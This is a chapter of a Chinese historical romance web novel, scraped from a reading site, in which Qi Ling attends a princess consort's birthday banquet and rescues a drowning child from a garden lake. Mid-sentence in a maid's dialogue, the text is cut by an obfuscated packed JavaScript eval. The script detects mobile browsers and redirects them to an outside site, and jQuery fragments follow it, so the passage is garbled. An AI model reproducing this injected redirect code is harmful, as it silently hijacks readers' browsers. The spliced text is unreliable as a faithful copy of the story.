默认冷灰
24号文字
方正启体

5. 第五章

作者:汤苒苒本书字数:K更新时间:
    为了避嫌,书房的门没关压,半阖着。


    青娥走近,听内里没声音,轻敲了敲门,“郎君,泠娘子身边的银盘来了。”


    “江州临水,妹妹长在那儿,沾了钟灵毓秀之气,定能觅良婿。”祁清宴收回视线,未答祁泠的惑,又道:“后日,瑞阳王妃大寿,祖母同她有些交情,定会前去。祖母年龄大了,出行不便,妹妹陪着祖母一同去,如何?”


    祁泠点头应下。


    见她如此听话,祁清宴笑问道:“妹妹想知道何时退婚么?”


    祁泠顺着问道:“何时?”


    祁清宴道:“后日便可。”


    ……


    祁泠同银盘回了二房,吃不好睡不好的等了两日,琢磨不出来要如何退婚,好不容易挨到了祁清宴说的后日,早起拾掇好自己到瑞蔼堂前等着。


    辰时方过,听荷搀着老夫人出了门。沈老夫人将近耳顺之年,身形却未佝偻,仍能看出年轻的尊贵与气度来。她久不见客,今日难得要出门去,沧桑褶皱的眼端详着站在一旁的祁泠。


    今日祁泠衣裙是冯夫人给她挑的,蓝白折裥长裙,肩系同色披帛,戴一顶纱制小花冠,花冠点缀着一圈珍珠,搭珍珠耳坠,整个人清丽素雅,宛如枝头初绽的玉兰花。没有旁的女娘奢靡,但她站在那儿,不自觉就惹了旁人眼。


    祁泠行了个对长辈的礼,十分标准,“给祖母请安。”


    这般模样,若退了婚,也不知是福是孽。沈老夫人无可奈何叹叹气,“你起来吧。”又转头问身侧仆妇,“小岚呢,昨个千叮咛万嘱咐,让她带着舒儿也来,怎没影了?”


    仆妇俯身回话,“禀老夫人,姑奶奶带着舒娘子和二郎君先出门访友去了。姑奶奶派人来,说舒娘子好不容易才出门一趟,她要带着多见见世面去。”


    沈老夫人哼一声,“就这一会儿的功夫,能去见几个人?大的怕不是要带坏小的,她到处闲逛,带我的舒儿作甚?”


    仆妇在老夫人面前很有脸面,应是亲近的人,打趣着为其说话,“老夫人还想姑奶奶和舒娘子不成,不过片刻,等到地方不就见到了。”


    祁泠知道姑奶奶指的是祁观岚。这位姑母过着极潇洒的日子。和离后十多年未再嫁,被母亲和两位兄长庇佑着,平日素喜出门访友。


    沈老夫人提起女儿和外孙女时,语气亲昵,自是她比不了的。祁泠一路跟在沈老夫人旁,不多话。


    瑞安王妃五十五大寿,王府门前红绸灯笼高挂,宾客众多,在前迎候的侍从也喜气洋洋。祁家的马车一到正门,便有特意候着的嬷嬷迎上,带着老夫人往后院王妃在的地方去。


    王府高墙耸立,一行人过石刻影壁,眼前惑然开亮,正殿五扇红朱漆的门齐齐开着,等待拜寿的宾客大多聚在此处。


    因着老夫人同王妃是故友,嬷嬷带着人从院侧绕行,方进后院,可见高楼池榭不断,壮丽而精致。


    嬷嬷也自豪,介绍道:“是今年新修的院子。”


    池边有娘子们在赏花,花艳丽,人也娇,一时分不清哪个更好。


    后殿雕梁画柱,宽敞明亮,瑞安王妃高坐正位,绛红蔓枝纹深衣,盘高髻,簪珥下坠纯金凤首。


    瑞安王妃见到人,忙拄着拐杖走下,她颧骨高,脸长些,见沈老夫人神情激动,脸上褶皱更明显。两位故友紧握双手,多年未见,难能重逢。


    瑞安王妃拿着手帕,不断擦泪:“多年未见姐姐了,一晃都老了。”


    沈老夫人眼眶红着,应着话,“可不,咱们都是有了孙辈的人呐。这几年我身子骨差了,连院子都少出,今日若不是你过大寿,我也是出不来的。”


    “唉……”瑞安王妃道:“……当初姐姐吃了太多苦,祁将军早早没了,扔下姐姐一人吃苦,拉扯孩子,谁能料到会这样?”


    “不说了,今日可是你好日子,我特意来给你祝寿,不提这些死了活了的人。”沈老夫人拍了拍她的手。


    瑞安王妃不断拭泪,只哽咽道好,瞥到沈老夫人身后的祁泠,眼前亮上一亮,看向沈老夫人,“这是……?”


    沈老夫人也转头望了眼祁泠,祁泠上前问安简单祝寿后,沈老夫人同瑞安王妃说:“这是我二儿子的女儿,在祁家排行老三,从小跟着爹娘在江州,刚回建业不久,今日带她来给老夫人祝寿,要出嫁了,沾沾你过寿的喜气。”


    瑞安王妃眯了眯眼,想不起来是谁,带祁家人来的嬷嬷凑上前,掩着手,低声说了几句话。


    瑞安王妃嘴角的弧度落下,眼中闪过几丝倨傲的轻视,语气带着几分惋惜:“模样生得倒是好,水灵灵的,等会儿去外边水榭玩吧,年纪小待不住。”


    嬷嬷在一旁添道:“王府后院新建了水榭、庭院、又引了几个湖来,陛下下令修葺,添了好些个小桥,各样式都有,以便王妃夏日乘凉。宫中送来开得正好的牡丹,娘子和郎君们都在赏花作画吟诗,王妃说,文采最好的,要将皇上新赐下来的一对玉佩给出去呢。”


    “说这么多做什么?”瑞安王妃拧眉一斥,又同沈老夫人笑眯眯道:“左不过是陛下念旧情,记得当年兄嫂的一点情分罢了。”


    嬷嬷住了嘴,面上却没有惹恼主子的忐忑。其余人也都知道,瑞安王府有多得圣眷了。


    沈老夫人赞了几句皇帝仁德,又捧了瑞安王妃一阵,两人才各自落座。方坐下,老夫人转头同祁泠道:“你去找舒儿吧,让舒儿带着你玩。”


    祁泠念着祁清宴让她留在祖母身边侍奉的话,没去,“阿泠陪在祖母身边便好。”


    沈老夫人并未强求,反倒是对着瑞安王妃笑呵呵的:“我这孙女就是安稳性子,不喜出去,平日在家侍奉她母亲惯了,今个儿让她陪着咱们两个也好。”


    瑞安王妃听了这话,态度倒是变了,伸手朝祁泠招了招,将她唤到近处,仔仔细细地端量过,夸着:“可真是个稳重的好孩子,乐意陪在长辈身边,方才几家的娘子来,拜过寿都走了,正是花一般的年纪,不乐意陪老太太闷着。”


    看得久了,她又啧啧叹一声,“怎么有生的这般好?看得人心情舒畅,放在身边不知有多省心。”瑞安王妃这回是实打实地惋惜,又问沈老夫人,“不知是谁家这么有福气,得了她去?”


    沈老夫人道:“卢家。”


    “啊……卢家啊。”瑞安王妃眼角下压,想起这卢家颇受新帝信任……方涌起的念头也散了。


    她道:“好孩子,何苦在这里陪我们两个耗着,还是出去看看花吧。”


    祁泠下意识看向沈老夫人,沈老夫人点点头,她遂告退出去,银盘一直等在门口,忙迎上她。她还没来得及喘气儿,候在殿前的宫女见她出来主动来问,“可是祁家二房的娘子?可要是去何处?”


    祁泠点头,又不免疑惑,今日瑞安王府的人这么多,她从未来过,为何这宫女一眼就能认出她来。她带着些提防,问:“你怎知我是谁?”


    宫女长得圆润和善,一团和气笑着回道:“方才奴婢瞧见娘子跟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583792|171632||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着祁家老夫人一同进殿。听说今个儿会来两位祁家的娘子,而另一位祁娘子已经来过了。”


    原是如此。祁泠想起方才老夫人的嘱咐,让她去找祁观岚的女儿祁望舒,这偌大的王府,她同银盘都不识路,自然是找不到的。故而,她道:“好,多谢你了。”


    宫女在前引路,“娘子太过客气了,奴婢不过是王府中的下人,哪里要让娘子奴婢道谢呢。”


    由殿前走过,进八角门中便是四面游廊,横排着一面低矮的花墙,从远处望去,隐见几处亭榭,墙内锦衣笑语,假山错落,水声不绝。


    各位娘子郎君大多在花墙内。但这宫女未带祁泠过去,反倒从幽径绕行,前方假山居多,人影稀少。


    祁泠问出来,宫女却解释道:“祁大娘子随着祁夫人去郡王妃处拜访,这处是新修建的后院,郡王妃仍住在旧院子。”


    沿着假山再走一段,路愈发狭隘。


    “救命!救命!”尖细的声音响起,一个太监模样的人,连滚带爬地从假山中冲出来,扑倒在地,两条袖子湿漉漉的,衣摆黏满淤泥。


    祁泠被他模样吓得心中一跳,往后退了一步,银盘也忙贴到祁泠身边,害怕地扯住她衣袖。


    小太监见到人,忙爬起来跪着,哭着大喊:“小主子掉湖里了,快去救救小主子吧,再迟些,恐怕要不行了!”


    带路的宫女也大惊,“小主子?”


    祁泠在江州长大,江州多湖,她水性尚可,听到有人落了水,忙问:“在哪儿?”


    小太监抬起手,手指不停颤抖,指了指假山内里,“里面……娘子行行好,快救救人。”


    内里是假山小洞,恐怕要穿过去才行,祁泠提起裙摆弯腰往里面走,银盘拽了拽她袖头,总觉诡异得紧,皱着脸,“不可啊,娘子,在外……”


    祁泠何尝不觉怪异,但这离花墙水榭不远,那边人多,遇到事了也能逃脱,她与瑞王府毫无联系,应该不会有人故意设计害她。


    况且,她会凫水,怎会见死不救,只安慰一句:“没事,我们先去看看。”银盘此刻真恨当初为何偷懒没与祁泠一起学,知道救人要紧,紧紧跟着祁泠往里走,也做好发觉不对就大喊的准备。


    从假山穿过去,湖水小桥映入眼帘,湖中央泛着水花,溅起的涟漪逐渐弱下。祁泠脱下披帛,递给银盘,淌着水快走进水里。


    水浸入口鼻,祁泠朝中间游去,不时浮出水面换气。


    水中一切变得模糊,祁泠听不到任何声音,只见一团深色衣裳渐渐往下沉去,看身形果然是个孩童。她憋着气,用力挥动手臂,接近后一手抱住孩童的腰,转个方向,朝着岸边去。


    这湖不大,却极深。等脚下有了着落,祁泠已将近脱力,她勉强站起身来,推孩童到岸边,一旁候着的两个宫女忙接过人。


    虽是夏日,浑身湿透,风一吹亦是冰凉,忽而一片温暖,她扭头一看是银盘,将一件厚实的长披风罩在她身上。


    “娘子,还好么?”银盘握紧她冰凉的手,扶她往岸上走。


    祁泠咳了咳水,摇头说无事。


    待她彻底走上岸,岸边忽而熙熙攘攘,一股脑涌来不少人,方才的小太监又跑远去唤了更多人来,背着药箱的府医也赶来,一大堆人围在落水的孩童旁边。


    花墙边上也聚着人,不少郎君和娘子被这边的喧闹声吸引而来。


    祁泠握紧不知从何处来的披风,抬眸望向对面花墙,撞进一双熟悉的乌润眼眸。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)